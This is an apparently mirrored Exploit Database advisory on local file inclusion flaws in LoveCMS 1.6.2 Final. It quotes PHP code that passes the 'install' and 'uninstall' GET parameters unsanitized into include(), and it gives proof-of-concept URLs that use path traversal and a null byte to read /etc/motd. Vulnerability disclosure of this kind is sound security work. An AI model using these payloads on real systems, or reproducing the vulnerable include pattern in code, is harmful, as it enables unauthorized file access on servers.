LoveCMS 1.6.2 Final – Multiple Local File Inclusions

• Exploit Database
• 34 阅读

• 作者： cOndemned
  日期： 2010-12-25
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/15831/

• LoveCMS 1.6.2 Final Multiple Local File Inclusion Vulnerabilities
  found by cOndemned
  vendor: http://lovecms.org/
  download: http://sourceforge.net/project/showfiles.php?group_id=168535
  
  source of /system/admin/modules.php
  
  	13.	if(isset($_GET['install']))
  	14.	{
  	15.		$include = $_GET['install'];
  	16.		
  	17.		include(LOVE_ROOT . '/modules/' . $include . '/info.php');
  
  	[...]
  
  	61.	if(isset($_GET['uninstall']))
  	62.	{
  	63.		$include = $_GET['uninstall'];
  	64.		
  	65.		include(LOVE_ROOT . '/modules/' . $include . '/info.php');
  
  
  proof of concept
  
  	http://[host]/[lovecms]/system/admin/modules.php?install=../../../../../etc/motd%00
  	http://[host]/[lovecms]/system/admin/modules.php?uninstall=../../../../../etc/motd%00